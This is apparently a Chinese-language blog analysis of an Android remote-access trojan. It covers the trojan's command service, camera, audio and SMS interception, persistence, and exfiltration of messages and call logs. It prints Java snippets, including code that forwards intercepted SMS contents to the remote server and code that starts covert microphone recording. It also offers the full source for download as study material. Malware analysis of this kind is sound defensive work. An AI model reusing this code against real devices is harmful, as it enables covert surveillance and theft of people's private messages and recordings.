RAT(木马)恶意Android应用分析

发布:admin2025-12-10 05:18:17 4998条浏览分类:新游前瞻

### 系统概述

RAT(木马)恶意Android应用分析。该app允许远程控制Android设备,支持录音、拍照、拦截短信、拨打电话和数据外泄等功能。其设计目标为隐蔽运行,并通过远程服务器进行控制。

### 系统架构

系统由以下核心组件构成:

1. **主服务(`MyService`)**:后台运行的核心服务,负责与远程服务器通信并执行指令。

2. **摄像头与视频模块(`CameraView`、`VideoView`)**:控制设备摄像头进行照片拍摄和视频录制。

3. **录音模块(`RecordService`)**:录制音频(特别是通话录音)并保存至设备。

4. **短信拦截模块(`ServiceReceiver`)**:拦截接收的短信,支持按配置进行消息阻断。

5. **指令执行模块**:处理短信发送、电话拨打、文件上传等具体操作。

6. **通信模块**:通过HTTP协议与远程服务器交互,实现数据发送与指令接收。

### 核心技术点

1. **远程指令执行**:支持从服务器接收并执行多种指令,包括:

- 拍摄照片/视频

- 录制音频/通话

- 短信收发与拦截

- 拨打电话

- 文件上传至服务器

- 设备设置修改(音量、屏幕状态等)

2. **隐蔽与持久化**:

- 后台静默运行,支持设备重启后自启动

- 使用Base64编码混淆关键参数(如URL、密码)

3. **数据外泄机制**:

- 可上传照片、视频、录音、短信、通话记录、浏览器历史等隐私数据

4. **通信拦截控制**:

- 拦截并阻断指定短信

- 拦截外拨电话

5. **动态指令处理**:

- 灵活解析服务器指令,实现设备功能的可扩展控制

### 关键代码片段

1. **远程指令初始化**:

代码语言:javascript复制public void initiate() {

try {

URL = new String(Base64.decode(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT));

password = new String(Base64.decode(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT));

thread.start();

} catch (Exception e) {

e.printStackTrace();

}

}2. **短信拦截逻辑**:

代码语言:javascript复制public void onReceive(final Context context, Intent intent) {

if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {

mContext.startService(new Intent(mContext, MyService.class));

}

if (PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("intercept", false)) {

Bundle extras = intent.getExtras();

if (extras != null) {

Object[] smsExtra = (Object[]) extras.get("pdus");

for (int i = 0; i < smsExtra.length; ++i) {

SmsMessage sms = SmsMessage.createFromPdu((byte[]) smsExtra[i]);

String body = sms.getMessageBody().toString();

String address = sms.getOriginatingAddress();

getInputStreamFromUrl(URL + "UID=" + androidId + "&Data=", "拦截内容: [" + address + "] [" + body + "]");

}

}

}

}3. **音频录制实现**:

代码语言:javascript复制public void onStart(Intent intent, int startId) {

if (isRecording) return;

recording = makeOutputFile(prefs);

if (recording == null) return;

try {

recorder.reset();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

recorder.setOutputFile(recording.getAbsolutePath());

recorder.prepare();

recorder.start();

isRecording = true;

} catch (Exception e) {

recorder = null;

}

}### 应用场景

1. **隐蔽监控**:无声窃取设备音视频信息

2. **数据窃取**:外泄短信/通话记录等敏感数据

3. **远程操控**:远程执行电话/短信等设备操作

4. **商业间谍**:通过通信拦截实施信息刺探

### 结论

该Android RAT展示了现代移动恶意软件的典型特征,具备远程控制、数据窃取和持久化等高级能力。其技术实现凸显了Android设备安全防护的重要性,开发者需重视系统权限管理、通信加密等安全措施以抵御此类威胁。

需要源代码研究的同学可以在公众号回复“RAT”下载即可,下载的源代码可以用于编译后做二进制病毒分析跟源代码进行对比学习。但不可用于做坏事,否则后果自负。这些源代码也可以用作AI分析的元数据,喂给AI吃,等代码量足够多了,即可实现一个deepseek或者其他AI病毒分析智能体(Agent)。